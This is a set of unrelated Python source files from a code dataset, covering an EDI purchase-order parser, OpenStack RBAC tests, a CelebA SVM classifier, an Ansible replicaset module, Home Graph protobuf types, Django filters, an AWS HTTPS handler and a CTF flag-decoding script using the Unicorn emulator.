#TODO: Item2 is ID, get list\r\n 'ALLOW_GEN': ['O', 'M:ID:1:1:A,C', 'M:AN:4:4', 'C:Rx:1:15:2', 'Cx:Rx:1:6:3', 'Cx:Rx:1:6:3', 'O:AN:1:80'], \r\n 'PACK': ['Cx', 'M:NB:1:10', 'M:ID:2:2:PK,CA,PL', 'M:Rx:1:10:2', 'M:ID:2:2:BP,FC,01,BG,BO,BX,BD,Z3,CO,CY,DZ,DR,EA,FT,GR,GS,H4,KG,KT,LF,LM,LY,LT,ML,PK,PL,PC,QT,SF,TH,TM,TS,TI,UN,YD,IN'] \r\n }\r\n \r\n docType = '850'\r\n \r\n def __init__(self):\r\n #init super class\r\n ediDoc.__init__(self)\r\n #dict that will contain elements\r\n self.elements = {}\r\n\r\n def readFile(self, path, filename):\r\n log.debug('edi850.ReadFile(path=%s, filename=%s)' % (path, filename))\r\n ediDoc.readFile(self, path, filename)\r\n\r\n# print(self.segments)\r\n \r\n if self.segments[0][1] != self.docType:\r\n raise ValueError('The document is not a purchase order (850) document.')\r\n\r\n self.PO = self.segments[1][4]\r\n \r\n self._readSegments()\r\n \r\n def _readSegments(self):\r\n #TODO: find a way to create the ADDR, ITEM and TAX elements with their sub-elements\r\n # looping with index might help ??\r\n\r\n for icount in range(len(self.segments)): \r\n elem = []\r\n \r\n# print(self.segments[icount][0])\r\n if self.segments[icount][0] == 'ADDR_TYPE':\r\n elem = ['ADDR']\r\n addrelem = self.segments[icount:icount+3]\r\n elem.extend(addrelem)\r\n\r\n # these items have been cared of in the previous 'if'\r\n elif self.segments[icount][0] in ['ADDR', 'LOCATION']:\r\n continue\r\n \r\n elif self.segments[icount][0] == 'ITEM':\r\n logg.debug('-- self.segments[icount] == %s' % self.segments[icount])\r\n elem = ['ITEM']\r\n elem.append(self.segments[icount])\r\n \r\n for iItem in range(icount + 1, len(self.segments)):\r\n logg.debug('---- self.segments[iItem] == %s' % self.segments[iItem])\r\n \r\n if self.segments[iItem][0] in ['BO', 'PRICE', 'DESC', 'PHYS', 'TERMS_ITEM', 'ALLOW_ITEM']:\r\n elem.append(self.segments[iItem])\r\n \r\n elif self.segments[iItem][0] == 'TAX':\r\n taxelem = []\r\n for iTax in range(iItem + 1, len(self.segments)):\r\n if self.segments[iTax][0] == 'TAX':\r\n taxelem.append(self.segments[iTax])\r\n else:\r\n break\r\n\r\n elem.append(taxelem)\r\n\r\n else:\r\n #new item\r\n break\r\n\r\n elif self.segments[icount][0] in ['BO', 'PRICE', 'DESC', 'PHYS', 'TERMS_ITEM', 'ALLOW_ITEM']:\r\n #'TOTAL': ['M', ], \r\n #'TOTAL_TAX': ['C', ], \r\n #'CARRIER': ['O', ], \r\n #'ALLOW_GEN': ['O', ], \r\n #'PACK': ['C', ] \r\n continue\r\n \r\n #elif self.segments[icount][0] in ['TOTAL', 'TOTAL_TAX', 'CARRIER', 'ALLOW_GEN', 'PACK']:\r\n #pass\r\n else:\r\n elem = self.segments[icount]\r\n\r\n log.debug(elem)\r\n if elem[0] != '':\r\n spec = self.docSpec[elem[0]]\r\n try:\r\n oseg = ediSegment(self.docType, elem, spec)\r\n log.debug(oseg)\r\n \r\n except Exception as ex:\r\n# print('_readSegment: %s' % ex)\r\n log.exception('_readSegment: %s' % ex)\r\n\r\nclass edi850_Rona(edi850): pass\r\nclass edi850_HomeDepot(edi850): pass\r\nclass edi850_Lowes(edi850): pass\r\nclass edi850_Menards(edi850): pass\r\n","sub_path":"python/prototype/transfertedi_v1/negotium_edidoc/edidoc.py","file_name":"edidoc.py","file_ext":"py","file_size_in_byte":19601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"11964589","text":"n=int(input())\nli=list(input().split())\na=[]\ni=0\nfor i in range(len(li)):\n for j in range(0,len(li)-i-1):\n if len(li[j])>len(li[j+1]):\n li[j],li[j+1]=li[j+1],li[j]\nfor i in range(len(li)-1):\n if len(li[i])==len(li[i+1]) and li[i]>li[i+1]:\n li[i],li[i+1]=li[i+1],li[i]\nprint(*li)\n\n\n \n\n \n \n\n \n\n \n \n","sub_path":"25_ascending_order.py","file_name":"25_ascending_order.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"87794806","text":"# Copyright 2017 AT&T Corporation.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom tempest.common import waiters\nfrom tempest import config\nfrom tempest.lib import decorators\n\nfrom patrole_tempest_plugin import rbac_rule_validation\nfrom patrole_tempest_plugin.rbac_utils import rbac_utils\nfrom patrole_tempest_plugin.tests.api.compute import rbac_base\n\nCONF = config.CONF\n\n\nclass ServerActionsRbacTest(rbac_base.BaseV2ComputeRbacTest):\n\n def tearDown(self):\n rbac_utils.switch_role(self, switchToRbacRole=False)\n super(ServerActionsRbacTest, self).tearDown()\n\n @classmethod\n def setup_clients(cls):\n super(ServerActionsRbacTest, cls).setup_clients()\n cls.client = cls.servers_client\n\n @classmethod\n def skip_checks(cls):\n super(ServerActionsRbacTest, cls).skip_checks()\n if not CONF.compute_feature_enabled.api_extensions:\n raise cls.skipException(\n '%s skipped as no compute extensions enabled' % cls.__name__)\n if not CONF.compute_feature_enabled.interface_attach:\n raise cls.skipException(\n '%s skipped as interface attachment is not available'\n % cls.__name__)\n\n @classmethod\n def resource_setup(cls):\n cls.set_validation_resources()\n super(ServerActionsRbacTest, cls).resource_setup()\n cls.server_id = cls.create_test_server(wait_until='ACTIVE',\n validatable=True)['id']\n\n def _test_start_server(self):\n self.client.start_server(self.server_id)\n waiters.wait_for_server_status(self.client, self.server_id,\n 'ACTIVE')\n\n def _test_stop_server(self):\n self.client.stop_server(self.server_id)\n waiters.wait_for_server_status(self.client, self.server_id,\n 'SHUTOFF')\n\n @rbac_rule_validation.action(\n service=\"nova\",\n rule=\"os_compute_api:servers:stop\")\n @decorators.idempotent_id('ab4a17d2-166f-4a6d-9944-f17baa576cf2')\n def test_stop_server(self):\n rbac_utils.switch_role(self, switchToRbacRole=True)\n self._test_stop_server()\n\n @rbac_rule_validation.action(\n service=\"nova\",\n rule=\"os_compute_api:servers:start\")\n @decorators.idempotent_id('8876bfa9-4d10-406e-a335-a57e451abb12')\n def test_start_server(self):\n self._test_stop_server()\n rbac_utils.switch_role(self, switchToRbacRole=True)\n self._test_start_server()\n","sub_path":"patrole_tempest_plugin/tests/api/compute/test_server_actions_rbac.py","file_name":"test_server_actions_rbac.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"177285024","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Importing the necessary packages and methods\n\n# In[1]:\n\n\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport cv2\nimport os\nimport dlib\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm\nfrom keras.preprocessing import image\nfrom sklearn import decomposition\nfrom sklearn.svm import LinearSVC\nfrom sklearn.svm import SVC\nfrom sklearn import metrics\nfrom skimage.color import rgb2gray\nimport pickle\n\n\n# Initializing necessary parameters for future methods\n\n# In[2]:\n\n\nfile_path = 'D:\\Admin\\Documents\\Year_4\\AMLS\\Assessment\\dataset_AMLS_20-21\\celeba\\img'\nsample_size = 5000\n\n\n# This function takes an image and first resizes for H.O.G then grayscales it, then performs H.O.G on it and returns the image as well as the H.O.G image as a 1D array\n\n# In[3]:\n\n\nlabels_file = open('D:\\Admin\\Documents\\Year_4\\AMLS\\Assessment\\dataset_AMLS_20-21\\celeba\\labels.csv', 'r')\nlines = labels_file.readlines()\nlines = lines[1:]\ngender_label = {}\nfor line in lines:\n gender_label[line.split('\\t')[1]] = line.split('\\t')[2]\n\n\n# In[4]:\n\n\ndef shape_to_np(shape, dtype=\"int\"):\n coords = np.zeros((shape.num_parts, 2), dtype=dtype)\n for i in range(0, shape.num_parts):\n coords[i] = (shape.part(i).x, shape.part(i).y)\n return coords\n\n\n# In[5]:\n\n\ndef rect_to_dim(rect):\n w = rect.right() - rect.left()\n h = rect.top() - rect.bottom()\n return (w, h)\n\n\n# In[6]:\n\n\ndef create_feature(img):\n face_detect = dlib.get_frontal_face_detector()\n shape_predict = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n gray = gray.astype('uint8')\n rects = face_detect(gray, 1)\n num_faces = len(rects)\n \n if num_faces == 0:\n return None\n\n face_areas = np.zeros((1, num_faces))\n face_shapes = np.zeros((136, num_faces), dtype=np.int64)\n \n for (i, rect) in enumerate(rects):\n temp_shape = shape_predict(gray, rect)\n temp_shape = shape_to_np(temp_shape)\n (w, h) = rect_to_dim(rect)\n face_shapes[:, i] = np.reshape(temp_shape, [136])\n face_areas[0, i] = w * h\n dlibout = np.reshape(np.transpose(face_shapes[:, np.argmax(face_areas)]), [68, 2])\n return dlibout\n\n\n# This function essentially makes use of the function above to preprocess all the images in the dataset\n\n# In[7]:\n\n\ndef create_feature_matrix(file_path, sample_size, gender_labels):\n counter = 0\n features = []\n labels = []\n image_paths = [os.path.join(file_path, l) for l in os.listdir(file_path)]\n for img_path in image_paths:\n img = image.img_to_array(image.load_img(img_path, target_size=None, interpolation='bicubic'))\n file_name= img_path.split('\\\\')[-1]\n feature = create_feature(img)\n if feature is not None:\n features.append(feature)\n labels.append(gender_labels[file_name])\n counter += 1\n if counter > sample_size - 1:\n break\n features = np.array(features)\n return features, labels\n\n\n# In[8]:\n\n\nx, y = create_feature_matrix(file_path, sample_size, gender_label)\n\n\n# In[9]:\n\n\ny = (np.array(y).astype(int) + 1)/2\ny = y.astype(int)\n\n\n# In[10]:\n\n\nprint(y.ndim)\nprint(x.ndim)\n\n\n# In[11]:\n\n\nx = x.reshape((x.size//136, 68*2))\n\n\n# In[12]:\n\n\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25)\n\n\n# In[13]:\n\n\nclassifier = svm.SVC(kernel='poly', degree=3, C=1.0)\n\n\n# In[14]:\n\n\nclassifier.fit(x_train, y_train)\n\n\n# In[15]:\n\n\ny_pred = classifier.predict(x_test)\naccuracy = metrics.accuracy_score(y_test,y_pred=y_pred)\nprint(accuracy)\n\n\n# In[16]:\n\n\nlabels_file = open('D:\\Admin\\Documents\\Year_4\\AMLS\\Assessment\\dataset_AMLS_20-21\\celeba_test\\labels.csv', 'r')\nlines = labels_file.readlines()\nlines = lines[1:]\ntest_label = {}\nfor line in lines:\n test_label[line.split('\\t')[1]] = line.split('\\t')[2]\n\n\n# In[17]:\n\n\ntest_path = 'D:\\Admin\\Documents\\Year_4\\AMLS\\Assessment\\dataset_AMLS_20-21\\celeba_test\\img'\n\n\n# In[18]:\n\n\ntest_x, test_y = create_feature_matrix(test_path, 1000, test_label)\n\n\n# In[19]:\n\n\ntest_y = (np.array(test_y).astype(int) + 1)/2\ntest_y = test_y.astype(int)\ntest_x = test_x.reshape((test_x.size//136, 136))\n\n\n# In[20]:\n\n\ntest_pred = classifier.predict(test_x)\ntest_accuracy = metrics.accuracy_score(test_y, y_pred=test_pred)\nprint(test_accuracy)\n\n\n# In[21]:\n\n\nmodel_name = \"Raw_SVM.sav\"\n\n\n# In[22]:\n\n\npickle.dump(classifier, open(model_name, \"wb\"))\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"AMLS_20-21_SN17031141/A1/A1_SVM.py","file_name":"A1_SVM.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"120450820","text":"#!/usr/bin/python\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.helpers import ModuleRes, CartridgeException\nfrom ansible.module_utils.helpers import is_expelled, is_stateboard\n\n\nargument_spec = {\n 'hostvars': {'required': True, 'type': 'dict'},\n 'play_hosts': {'required': True, 'type': 'list'},\n 'control_host': {'required': True, 'type': 'str'},\n}\n\n\ndef get_replicasets(params):\n hostvars = params['hostvars']\n play_hosts = params['play_hosts']\n\n replicasets = {}\n for i, instance_vars in hostvars.items():\n if i not in play_hosts:\n continue\n\n if is_expelled(instance_vars) or is_stateboard(instance_vars):\n continue\n\n if 'replicaset_alias' in instance_vars:\n replicaset_alias = instance_vars['replicaset_alias']\n if replicaset_alias not in replicasets:\n replicasets.update({\n replicaset_alias: {\n 'instances': [],\n 'roles': instance_vars.get('roles', None),\n 'failover_priority': instance_vars.get('failover_priority', None),\n 'all_rw': instance_vars.get('all_rw', None),\n 'weight': instance_vars.get('weight', None),\n 'vshard_group': instance_vars.get('vshard_group', None),\n 'alias': replicaset_alias,\n }\n })\n replicasets[replicaset_alias]['instances'].append(i)\n\n join_host = params['control_host']\n replicasets_list = [v for _, v in replicasets.items()]\n\n for r in replicasets_list:\n if r['failover_priority'] is None:\n r['failover_priority'] = [r['instances'][0]]\n\n if replicasets_list and not join_host:\n first_replicaset = replicasets_list[0]\n join_host = first_replicaset['failover_priority'][0]\n\n return ModuleRes(success=True, changed=False, meta={\n 'replicasets': replicasets_list,\n 'join_host': join_host,\n })\n\n\ndef main():\n module = AnsibleModule(argument_spec=argument_spec)\n try:\n res = get_replicasets(module.params)\n except CartridgeException as e:\n module.fail_json(msg=str(e))\n\n if res.success is True:\n module.exit_json(changed=res.changed, meta=res.meta)\n else:\n module.fail_json(msg=res.msg)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"library/cartridge_get_replicasets.py","file_name":"cartridge_get_replicasets.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"243846108","text":"#create full files\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport shutil\nimport os.path\nimport subprocess\n\ninputdir = '/Users/schulte/xfitter/F2_Analysis/Analysis/29_08_2018_10P/'\n\nfor name in os.listdir(inputdir):\n\n\tif name == '.DS_Store':\n\t\tcontinue\n\t\n\tdirect = inputdir + name\n\tprint('I am doing:')\n\tprint(direct)\n\t\n\tos.chdir(direct)\n\t\n\tprint('xfitter is running')\n\tpy2output = subprocess.check_output(\"xfitter\", shell=True)\n\n\t\n\t\n\t\n\tEnd = py2output[-24:]\n\tprint(End)\n\tif End.rstrip() == 'End of Message Summary':\n\t\tprint('End of xfitter')\n\t\tpy2output2 = subprocess.check_output(\"xfitter-draw --root output\", shell=True)\n\t\tprint('Plots are produced')\n\t\tEnd_draw = py2output2[-34:]\n\n\t\tif End.rstrip() == 'Plots saved in: output/plots.pdf':\n\t\t\tprint('End of drawing')\n\t\t\tcontinue\n\n\n\n\n\n\nprint('I am done!!!')\n","sub_path":"Analysis/Scripts/RunXfitter.py","file_name":"RunXfitter.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"126174591","text":"from django import template\n\nregister = template.Library()\n\n\n@register.filter(name='multiply')\ndef multiply(value, arg):\n return value * arg\n\n\n@register.filter(name='calculateCalorieAvg')\ndef calculateCalorieAvg(value):\n minCalorie = 0\n maxCalorie = 0\n for menu in value:\n for serving in menu.food_serving.all():\n minCalorie += serving.food.min_calorie * serving.quantity\n maxCalorie += serving.food.max_calorie * serving.quantity\n return str(minCalorie) + \" - \" + str(maxCalorie)\n","sub_path":"AdminPage/templatetags/app_filters.py","file_name":"app_filters.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"504904220","text":"# -*- coding: utf-8 -*-\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport proto # type: ignore\n\nfrom google.home.graph_v1.types import device\nfrom google.protobuf import struct_pb2 # type: ignore\n\n\n__protobuf__ = proto.module(\n package='google.home.graph.v1',\n manifest={\n 'RequestSyncDevicesRequest',\n 'RequestSyncDevicesResponse',\n 'ReportStateAndNotificationRequest',\n 'ReportStateAndNotificationResponse',\n 'StateAndNotificationPayload',\n 'ReportStateAndNotificationDevice',\n 'DeleteAgentUserRequest',\n 'QueryRequest',\n 'QueryRequestInput',\n 'QueryRequestPayload',\n 'AgentDeviceId',\n 'QueryResponse',\n 'QueryResponsePayload',\n 'SyncRequest',\n 'SyncResponse',\n 'SyncResponsePayload',\n },\n)\n\n\nclass RequestSyncDevicesRequest(proto.Message):\n r\"\"\"Request type for the\n ```RequestSyncDevices`` <#google.home.graph.v1.HomeGraphApiService.RequestSyncDevices>`__\n call.\n\n Attributes:\n agent_user_id (str):\n Required. Third-party user ID.\n async_ (bool):\n Optional. If set, the request will be added to a queue and a\n response will be returned immediately. This enables\n concurrent requests for the given ``agent_user_id``, but the\n caller will not receive any error responses.\n \"\"\"\n\n agent_user_id = proto.Field(\n proto.STRING,\n number=1,\n )\n async_ = proto.Field(\n proto.BOOL,\n number=2,\n )\n\n\nclass RequestSyncDevicesResponse(proto.Message):\n r\"\"\"Response type for the\n ```RequestSyncDevices`` <#google.home.graph.v1.HomeGraphApiService.RequestSyncDevices>`__\n call.\n\n Intentionally empty upon success. An HTTP response code is returned\n with more details upon failure.\n \"\"\"\n\n\nclass ReportStateAndNotificationRequest(proto.Message):\n r\"\"\"Request type for the\n ```ReportStateAndNotification`` <#google.home.graph.v1.HomeGraphApiService.ReportStateAndNotification>`__\n call. It may include states, notifications, or both. States and\n notifications are defined per ``device_id`` (for example, \"123\" and\n \"456\" in the following example).\n\n Example\n =======\n\n .. code:: json\n\n {\n \"requestId\": \"ff36a3cc-ec34-11e6-b1a0-64510650abcf\",\n \"agentUserId\": \"1234\",\n \"payload\": {\n \"devices\": {\n \"states\": {\n \"123\": {\n \"on\": true\n },\n \"456\": {\n \"on\": true,\n \"brightness\": 10\n }\n },\n }\n }\n }\n\n Attributes:\n request_id (str):\n Request ID used for debugging.\n event_id (str):\n Unique identifier per event (for example, a\n doorbell press).\n agent_user_id (str):\n Required. Third-party user ID.\n follow_up_token (str):\n Deprecated.\n (-- Token to maintain state in the follow up\n notification response. See the notifications\n guide at\n https://developers.google.com/assistant/smarthome/develop/notifications\n for details on implementing follow up\n notifications --)\n payload (google.home.graph_v1.types.StateAndNotificationPayload):\n Required. State of devices to update and\n notification metadata for devices.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n event_id = proto.Field(\n proto.STRING,\n number=4,\n )\n agent_user_id = proto.Field(\n proto.STRING,\n number=2,\n )\n follow_up_token = proto.Field(\n proto.STRING,\n number=5,\n )\n payload = proto.Field(\n proto.MESSAGE,\n number=3,\n message='StateAndNotificationPayload',\n )\n\n\nclass ReportStateAndNotificationResponse(proto.Message):\n r\"\"\"Response type for the\n ```ReportStateAndNotification`` <#google.home.graph.v1.HomeGraphApiService.ReportStateAndNotification>`__\n call.\n\n Attributes:\n request_id (str):\n Request ID copied from\n [ReportStateAndNotificationRequest][google.home.graph.v1.ReportStateAndNotificationRequest].\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass StateAndNotificationPayload(proto.Message):\n r\"\"\"Payload containing the state and notification information for\n devices.\n\n Attributes:\n devices (google.home.graph_v1.types.ReportStateAndNotificationDevice):\n The devices for updating state and sending\n notifications.\n \"\"\"\n\n devices = proto.Field(\n proto.MESSAGE,\n number=1,\n message='ReportStateAndNotificationDevice',\n )\n\n\nclass ReportStateAndNotificationDevice(proto.Message):\n r\"\"\"The states and notifications specific to a device.\n Attributes:\n states (google.protobuf.struct_pb2.Struct):\n States of devices to update. See the **Device STATES**\n section of the individual trait `reference\n guides `__.\n notifications (google.protobuf.struct_pb2.Struct):\n Notifications metadata for devices. See the **Device\n NOTIFICATIONS** section of the individual trait `reference\n guides `__.\n \"\"\"\n\n states = proto.Field(\n proto.MESSAGE,\n number=1,\n message=struct_pb2.Struct,\n )\n notifications = proto.Field(\n proto.MESSAGE,\n number=2,\n message=struct_pb2.Struct,\n )\n\n\nclass DeleteAgentUserRequest(proto.Message):\n r\"\"\"Request type for the\n ```DeleteAgentUser`` <#google.home.graph.v1.HomeGraphApiService.DeleteAgentUser>`__\n call.\n\n Attributes:\n request_id (str):\n Request ID used for debugging.\n agent_user_id (str):\n Required. Third-party user ID.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n agent_user_id = proto.Field(\n proto.STRING,\n number=2,\n )\n\n\nclass QueryRequest(proto.Message):\n r\"\"\"Request type for the\n ```Query`` <#google.home.graph.v1.HomeGraphApiService.Query>`__\n call.\n\n Attributes:\n request_id (str):\n Request ID used for debugging.\n agent_user_id (str):\n Required. Third-party user ID.\n inputs (Sequence[google.home.graph_v1.types.QueryRequestInput]):\n Required. Inputs containing third-party\n device IDs for which to get the device states.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n agent_user_id = proto.Field(\n proto.STRING,\n number=2,\n )\n inputs = proto.RepeatedField(\n proto.MESSAGE,\n number=3,\n message='QueryRequestInput',\n )\n\n\nclass QueryRequestInput(proto.Message):\n r\"\"\"Device ID inputs to\n [QueryRequest][google.home.graph.v1.QueryRequest].\n\n Attributes:\n payload (google.home.graph_v1.types.QueryRequestPayload):\n Payload containing third-party device IDs.\n \"\"\"\n\n payload = proto.Field(\n proto.MESSAGE,\n number=1,\n message='QueryRequestPayload',\n )\n\n\nclass QueryRequestPayload(proto.Message):\n r\"\"\"Payload containing device IDs.\n Attributes:\n devices (Sequence[google.home.graph_v1.types.AgentDeviceId]):\n Third-party device IDs for which to get the\n device states.\n \"\"\"\n\n devices = proto.RepeatedField(\n proto.MESSAGE,\n number=1,\n message='AgentDeviceId',\n )\n\n\nclass AgentDeviceId(proto.Message):\n r\"\"\"Third-party device ID for one device.\n Attributes:\n id (str):\n Third-party device ID.\n \"\"\"\n\n id = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass QueryResponse(proto.Message):\n r\"\"\"Response type for the\n ```Query`` <#google.home.graph.v1.HomeGraphApiService.Query>`__\n call. This should follow the same format as the Google smart home\n ``action.devices.QUERY``\n `response `__.\n\n Example\n =======\n\n .. code:: json\n\n {\n \"requestId\": \"ff36a3cc-ec34-11e6-b1a0-64510650abcf\",\n \"payload\": {\n \"devices\": {\n \"123\": {\n \"on\": true,\n \"online\": true\n },\n \"456\": {\n \"on\": true,\n \"online\": true,\n \"brightness\": 80,\n \"color\": {\n \"name\": \"cerulean\",\n \"spectrumRGB\": 31655\n }\n }\n }\n }\n }\n\n Attributes:\n request_id (str):\n Request ID used for debugging. Copied from\n the request.\n payload (google.home.graph_v1.types.QueryResponsePayload):\n Device states for the devices given in the\n request.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n payload = proto.Field(\n proto.MESSAGE,\n number=2,\n message='QueryResponsePayload',\n )\n\n\nclass QueryResponsePayload(proto.Message):\n r\"\"\"Payload containing device states information.\n Attributes:\n devices (Sequence[google.home.graph_v1.types.QueryResponsePayload.DevicesEntry]):\n States of the devices. Map of third-party\n device ID to struct of device states.\n \"\"\"\n\n devices = proto.MapField(\n proto.STRING,\n proto.MESSAGE,\n number=1,\n message=struct_pb2.Struct,\n )\n\n\nclass SyncRequest(proto.Message):\n r\"\"\"Request type for the\n ```Sync`` <#google.home.graph.v1.HomeGraphApiService.Sync>`__ call.\n\n Attributes:\n request_id (str):\n Request ID used for debugging.\n agent_user_id (str):\n Required. Third-party user ID.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n agent_user_id = proto.Field(\n proto.STRING,\n number=2,\n )\n\n\nclass SyncResponse(proto.Message):\n r\"\"\"Response type for the\n ```Sync`` <#google.home.graph.v1.HomeGraphApiService.Sync>`__ call.\n This should follow the same format as the Google smart home\n ``action.devices.SYNC``\n `response `__.\n\n Example\n =======\n\n .. code:: json\n\n {\n \"requestId\": \"ff36a3cc-ec34-11e6-b1a0-64510650abcf\",\n \"payload\": {\n \"agentUserId\": \"1836.15267389\",\n \"devices\": [{\n \"id\": \"123\",\n \"type\": \"action.devices.types.OUTLET\",\n \"traits\": [\n \"action.devices.traits.OnOff\"\n ],\n \"name\": {\n \"defaultNames\": [\"My Outlet 1234\"],\n \"name\": \"Night light\",\n \"nicknames\": [\"wall plug\"]\n },\n \"willReportState\": false,\n \"deviceInfo\": {\n \"manufacturer\": \"lights-out-inc\",\n \"model\": \"hs1234\",\n \"hwVersion\": \"3.2\",\n \"swVersion\": \"11.4\"\n },\n \"customData\": {\n \"fooValue\": 74,\n \"barValue\": true,\n \"bazValue\": \"foo\"\n }\n }]\n }\n }\n\n Attributes:\n request_id (str):\n Request ID used for debugging. Copied from\n the request.\n payload (google.home.graph_v1.types.SyncResponsePayload):\n Devices associated with the third-party user.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n payload = proto.Field(\n proto.MESSAGE,\n number=2,\n message='SyncResponsePayload',\n )\n\n\nclass SyncResponsePayload(proto.Message):\n r\"\"\"Payload containing device information.\n Attributes:\n agent_user_id (str):\n Third-party user ID\n devices (Sequence[google.home.graph_v1.types.Device]):\n Devices associated with the third-party user.\n \"\"\"\n\n agent_user_id = proto.Field(\n proto.STRING,\n number=1,\n )\n devices = proto.RepeatedField(\n proto.MESSAGE,\n number=2,\n message=device.Device,\n )\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n","sub_path":"google/home/graph/v1/home-graph-v1-py/google/home/graph_v1/types/homegraph.py","file_name":"homegraph.py","file_ext":"py","file_size_in_byte":13005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"446257421","text":"#!/usr/bin/env python\n#==============================================================================\n# Copyright 2012 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Amazon Software License (the \"License\"). You may not use\n# this file except in compliance with the License. A copy of the License is\n# located at\n#\n# http://aws.amazon.com/asl/\n#\n# or in the \"license\" file accompanying this file. This file is distributed on\n# an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or\n# implied. See the License for the specific language governing permissions\n# and limitations under the License.\n#==============================================================================\n\nfrom httplib import HTTPSConnection\nimport os\nimport socket\nimport ssl\nfrom urllib2 import HTTPSHandler\n\nfrom scli.constants import CABundle\nfrom lib.utility import shell_utils\n\n\nHTTP_GET = 'GET'\nHTTP_POST = 'POST' \n\nclass CaValidationHttpsConnection(HTTPSConnection):\n '''Override HTTPSConnection to verify server certification'''\n \n def connect(self):\n sock = socket.create_connection((self.host, self.port),\n self.timeout, self.source_address)\n if self._tunnel_host:\n self.sock = sock\n self._tunnel()\n\n self.sock = ssl.wrap_socket(sock, \n ssl_version = ssl.PROTOCOL_TLSv1,\n cert_reqs = ssl.CERT_REQUIRED, \n ca_certs = os.path.join(shell_utils.ori_path(),\n CABundle.Path,\n CABundle.Name))\n \n\nclass CaValidationHttpsHandler(HTTPSHandler):\n '''Override HTTPSHandler to use CaValidationHttpsConnection for connection'''\n \n def https_open(self, req):\n return self.do_open(CaValidationHttpsConnection, req) \n ","sub_path":"lib/aws/http_client.py","file_name":"http_client.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"70746013","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nfrom unicorn import *\nfrom unicorn.x86_const import *\nfrom pwn import *\n\ndef getxmm0(n):\n # code to be emulated\n X86_CODE32 = asm(\"cvtdq2pd xmm0, xmm0\")\n X86_CODE32 += asm(\"mulsd xmm0, xmm1\")\n\n # memory address where emulation starts\n ADDRESS = 0x1000000\n\n try:\n mu = Uc(UC_ARCH_X86, UC_MODE_32)\n mu.mem_map(ADDRESS, 2 * 1024 * 1024)\n mu.mem_write(ADDRESS, X86_CODE32)\n mu.reg_write(UC_X86_REG_XMM0, n)\n mu.reg_write(UC_X86_REG_XMM1, 0x00000000000000004036800000000000)\n mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))\n\n r_xmm0 = mu.reg_read(UC_X86_REG_XMM0)\n return r_xmm0\n\n except UcError as e:\n print(\"ERROR: %s\" % e)\n\nif __name__ == \"__main__\":\n flag = ''\n\n d = {}\n for i in range(0x10):\n d[getxmm0(i)] = i\n\n dump = open(\"dump.bin\").read()\n assert len(dump) == 16 * 24\n\n for i in range(0, len(dump), 16):\n x = dump[i:i+8]\n x = u64(x)\n y = dump[i+8:i+16]\n y = u64(y)\n\n z = d[x] * 0x10 + d[y]\n flag += chr(z)\n\n print(flag)\n\n\n","sub_path":"_ctfs/wargamesmy-18/quickmeh/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} 